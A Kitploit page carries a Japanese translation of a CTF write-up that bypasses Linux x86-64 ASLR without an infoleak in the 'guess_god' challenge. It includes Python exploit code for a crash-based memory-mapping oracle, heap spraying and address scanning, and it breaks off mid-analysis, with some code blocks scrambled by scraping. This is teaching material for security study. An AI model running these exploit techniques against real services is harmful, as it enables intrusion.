Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — ASLRバイパス(情報漏洩なし) | Kitploit
ツール/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
エクスプロイトCTF学習と教育バイナリエクスプロイト
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLRバイパス(情報漏洩なし)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
1671744年前Kitploit レビュー済み

Linux x86-64 における 64 ビット aslr の突破

この記事では、Samuel Groß が自身の Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass で説明した手法を、Linux x86_64 上の ASLR をバイパスするために適用することについて説明します。

これを示すために、Buckeye CTF の pwnable チャレンジである guess_god を解いてみます。

このコンテンツはできるだけ初心者向けにしようと思います。十分に自信がある方は、任意のセクションをスキップして、エクスプロイトだけを見たい場合は遠慮なく飛ばしてください。

0. はじめに


私はその CTF には参加しませんでしたが、CTF 終了の約2時間前に、fibonhack の Discord で暗号関連のゴタゴタについて助けを求めていた Guray00 のおかげで、このチャレンジに興味を持ちました。

彼を助けることはできませんでしたが、pwnable チャレンジを調べてみて、P0 のブログ記事を理解し、うまくいけば報奨金を得るのに良いだろうと考えました。

1. ASLR とそのバイパス方法

1.1 ASLR とは?

Address Space Layout Randomization(ASLR)は、プロセスのアドレス空間内にある実行ファイルのベースアドレスや、ライブラリ、ヒープ、スタックの位置をランダムに配置するコンピュータセキュリティ技術です。

1.2 Linux における ASLR

Linux では、/proc/<pid>/maps ファイルを読むことで、procfs を介して、pid に基づくプロセスのマッピングを調べることができます。

自分自身のメモリマッピングを知りたい場合は、/proc/self/maps を読むことができます。

例えば、cat を使って /proc/self/maps を読んでみることができます:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### メモリマッピングのパターン

これを数回行うと、次のことが推測できるでしょう:
* バイナリのPIEベースは0x00005500_00000000〜0x00005700_00000000の範囲にあるはずです。つまり、2TBの候補アドレスがあります。
* ヒープはバイナリの近くにあります。
* ライブラリは0x00007f00_00000000〜0x00007fff_ffffffffの範囲にあり、1TBの候補アドレスがあります。
* スタックは(ほとんどの場合)0x00007ffc_00000000〜0x00007fff_ffffffffの範囲にあり、16GBの候補アドレスがあります。
* 範囲0xffffffffff600000〜0xffffffffff601000は常にマップされています。それが何か気になる場合は、[この記事](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso)を読んでください。

## 1.3 情報漏えい(infoleak)なしでASLRを回避する方法

情報漏えいが不可能な場合に、ASLRを回避するためにできることについて説明します。

これは、Saeloのブログ記事を読んで得た内容を要約しようという試みです。

ASLRを回避するには、次のものが必要です:
* メモリスプレー技術。指定したサイズの連続メモリを、指定したアドレス範囲にマップすることができます。
  
  彼が言うように、これには2つの方法があります:
  1. メモリリーク(情報漏えいではない!)を悪用する方法。メモリのチャンクが「忘れられ」て解放されないバグを、目的の量のメモリがリークするまで複数回トリガーします。
  2. 「増幅ガジェット」を見つけて悪用する方法。既存のデータチャンクを取得してそれをコピーするコード(潜在的に複数回コピーする)で、攻撃者が比較的少数のバイトを送信するだけで大量のメモリをスプレーできるようにします。
* アドレスがマップされているかどうかを教えてくれる `isAddressMapped` オラクル。

### LinuxでのASLR回避のPoC

LinuxでASLRを完全に破壊するために、saeloのPoCを再現してみましょう。

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saeloのPoC</i> <p/> <br/>

Linuxではそれほど簡単ではありません。16TBのメモリを割り当てることができる場合にのみ、ASLRを完全に破壊することが可能です。```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

glibcメモリ割り当てに関する注意

man malloc の注意書きより:

  • 通常、malloc() はヒープからメモリを割り当て、必要に応じて sbrk(2) を使ってヒープのサイズを調整する。MMAP_THRESHOLD バイトより大きいメモリブロックを割り当てる場合、glibc の malloc() 実装は mmap(2) を使用してプライベート匿名マッピングとしてメモリを割り当てる。MMAP_THRESHOLD はデフォルトで 128 kB だが、mallopt(3) で調整可能である。mmap(2) を使用して行われた割り当ては、RLIMIT_DATA リソース制限の影響を受けない(getrlimit(2) を参照)。

したがって、void *mem = malloc(size) は最終的に mmap(size + malloc_metadata_size, ...) を呼び出すことになる。

ライブラリは ld によって mmap 経由でプロセスにマッピングされるため、それらの割り当てはライブラリの近くに配置されることになる。

境界クロストリック

malloc が返すアドレスを見れば、何が起きているのかをよりよく理解できる。プロのヒント: 最上位バイトに注目しよう。

このpocは、ある時点で返されるアドレスの最上位バイトが7Fから7Eに変わるという事実を利用している。そして、割り当ては連続しているため、その範囲内に何かが存在するに違いない。(そう、この問題を解くために Bolzano-Weirstress theorem を適用しているのだ!)

2 チャレンジ

作者に感謝すべきことに、zipにはリモート環境と同じ環境を再現するためのバイナリ、ソースコード、dockerfileが含まれている。


2.1 初期足場

環境についてある程度の知識を得ることは常に良いことだ。ファイルをざっと見て、いくつかメモを取ろう。

  • jail.cfg はいくつかの制限を設定している。これらの制限がエクスプロイトを台無しにするかもしれないので、忘れないようにしよう: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • Dockerfileからいくつか興味深いことがわかります:
    1. oatpp 1.2.5をビルドしてインストールしている。この特定のバージョンに有用なバグがあるかもしれない?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. チャレンジをゼロからビルドしている

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      これは問題になるかもしれないので、配布されたバイナリをコピーしよう。

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • そして最後に、提供されたバイナリの保護機構を確認する


    素晴らしい。libkylezip.soはPartial RELROでコンパイルされている。つまりGOTが書き込み可能ということだ。コード実行を狙うときはそのことを覚えておこう。

2.2 ローカル環境をセットアップしてアプリケーションを調べる

docker-compose.ymlファイルが提供されているので、ローカルで動作する環境を用意して調べるのはまったく難しくない。Dockerに自信がない人のために、チャレンジをローカルで調べるために知っておくべきコマンドの一覧を以下に示す。```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
`docker-compose build` を実行した後、`docker-compose up` を実行してコンテナを起動し、`nc 127.0.0.1 9000` でチャレンジに接続できます。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. ソースコード解析

ASLR をバイパスするために何をすべきかについて基本的な知識が得られたので、ソースコードを見てみましょう。念頭に置いておくべきことは次のとおりです:
* 既知のメモリ範囲にメモリをスプレーする方法
* isAddrMapped オラクル

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> ソースコードフォルダ </i><p/> 

そのほとんどは oatpp Web サーバーを起動・実行するためのグルーコードです。実際に解析する重要なファイルは次のとおりです:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

エンドポイントは3つあります:
* `/`
* `GET /files/{fileId}` -> 以前にアップロードしたファイルをダウンロードします。extract が true の場合は、ダウンロード前に展開します。
* `POST /upload/{fileId}` -> 指定された {fileId} でファイルをアップロードします。

そして、`MyController.cpp` に実装された関数が1つあります。```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

どちら:

  • to_open を {file_id} または {file_id}.unkyle に設定します ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • 初めて {file_id} の抽出をリクエストする場合は、それに対して decompress を呼び出し、 {file_id} の解凍済みファイルを {file_id}.unkyle に書き込みます。 ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • 最後に、結果をメモリ上で mmap します。 ```C struct stat sb;

Observations

  • fork() は、呼び出し元プロセスを複製して新しいプロセスを作成します。fork() の時点では、両方のメモリ空間の内容は同じです。

    したがって、もし decompress() を以下のようなオラクルに変えることができれば:

    • 悪いアドレスではクラッシュする
    • 正常なアドレスではクラッシュしない

    そのプリミティブを使って、親プロセスのメモリ空間を推測できます。

  • 親プロセスには mmap の呼び出しがあります: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

もし sb.st_size(展開後のファイルのサイズ)を制御できるなら、これを簡単にメモリスプレー用のプリミティブに変えることができます。

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* 入力ファイルをアドレス `0x42069000000` にマップする。
* 出力ファイルをアドレス `0x13371337000` にマップする。
* 解凍処理を行う do_decompress() を呼び出す。

ファイルは次の形式であることが期待されます:
| オフセット | 名前 | 型 | 説明 |
| - | - | - | - | 
| +0h | magic | uint64 | マジック値。0x0123456789abcdef であることが期待される |
| +8h | filesize | uint64 | 解凍後のファイルサイズ |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

この関数は、in が指すバイトコードを実行し、out が指すバッファに出力を書き込む、単純な 仮想マシン と見なすことができます。

in は {file_id} を指します。

out は {file_id.unkyle} を指します。

この VM には 4 つのオペコードがあります:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    b を out に書き込み、out を 1 だけインクリメントします。

    オペコードの実装: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    out を out + off に設定します。

    out と off は64ビット値なので、out = out+off は out = (out+off) % MAX_64BIT_VALUE と同等です。これは 整数オーバーフロー と呼ばれ、この挙動を悪用して任意の64ビット値に到達できます。例: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

オペコードの実装: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
`size` バイトを `out - off` から `out` にコピーし、`out` を 8 インクリメントする。

オペコードの実装:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

どの操作にも境界チェックがないため、2つの有用なプリミティブが得られます:

  • Read What Where、SEEK+LOAD を悪用
  • Write What Where:SEEK+STORE を悪用

このコードを使用してバイトコードを構築しました:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. バイナリとの対話

エクスプロイトフェーズに飛び込む前に、バイナリと簡単に対話できるものを構築しておくのは常に良いことです。時間を無駄にしないためにも。```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

チャレンジのメモリマッピングを調べる

これはチャレンジを解く際に非常に重要でした。私は長い間、メモリマッピングをじっと見つめていました。

これを行うには、チャレンジのローカルインスタンスを起動し、いくつかの操作を行った後にプロセスのマップを読むことができます。


4.2 isAddrMappedオラクル

読み取り可能な位置に書き込めるプリミティブが与えられているので、isAddressMappedオラクルを構築するのはまったく難しくありません。

私のやり方は、このバイトコードを構築するというものでした:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

targetAddressがマップされていない場合、子プログラムはmemcpyでセグメンテーションフォールトを起こし、nullバイトで埋められた展開ファイルが得られます。

targetAddressがマップされている場合、展開ファイルの2バイト目はb'\x41'になります。```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 メモリースプレープリミティブ

解凍後のファイルサイズを完全に制御でき、[MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) でそのサイズの mmap を取得できます。

私のエクスプロイトでは `isAddrMapped` 関数を使用し、`filelen` を変更しました。

たとえば、サイズ = 0x4000000 = 64MB の連続したチャンクを割り当ててみましょう。```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

それが結果です:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
もう一度試す場合:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

それが結果です:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Nice! 複数のアロケーションに隙間がなくなります。

## 4.4 どのくらいのメモリをスプレーするか?

[このPoC](#poc-of-aslr-bypass-on-linux)からわかるように、連続してマッピングされるメモリの理想的なサイズは16TBです。

残念ながら、リモートサーバー上で16TBのメモリを割り当てようとすると、mmapは失敗します。なぜなら[nsjailがこれを制限している](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)からです。

試行錯誤の結果、以下のコードで約3840MBのメモリをスプレーできることがわかりました。```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

メモリマッピングの結果は次のようになります:

Memory Spray 結果```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
メモリスプレーで作成されたアドレスに注目しましょう。 \(*.unkyle ファイル \)

[境界越えトリック](#Boundary-cross-trick) を適用してみましょう。

| mem | 4GB境界を越える?
| - |-
| 7fe2dc000000 | いいえ
| 7fe2e0000000 | いいえ
| 7fe2e4000000 | いいえ
| 7fe2e8000000 | いいえ
| 7fe2ec000000 | いいえ
| 7fe2f0000000 | いいえ
| 7fe2f4000000 | いいえ
| 7fe2f8000000 | いいえ
| 7fe2fc000000 | いいえ
| 7fe300000000 | はい
| 7fe304000000 | はい
| 7fe308000000 | はい
7fe2.. から 7fe3.. への変化を利用することで、0x100000000 = 4GB メモリのステップでメモリをスキャンできます。

## 4.5 ついにASLRを打ち破る 

そのステップサイズがあれば、`start=0x7f0000000000` から `end=0x800000000000` まで、わずか `end - start / size` = 256 回のクエリでスキャンできます。```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

この時点で、leakAddr は次のようなマップされたアドレスになります: 0x7fXX00000000。このケースでは、leakAddr = 0x7fe300000000 です。

さて、saelo の手法に従いたい場合、下限と上限を見つけるために、範囲 0x7fXX00000000 - 0x7fXXffffffff の二分探索を行うべきです。問題は、その範囲にはいくつか穴があるため、二分探索が何度も失敗することです。

このスクリプトで自分で確認できます:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

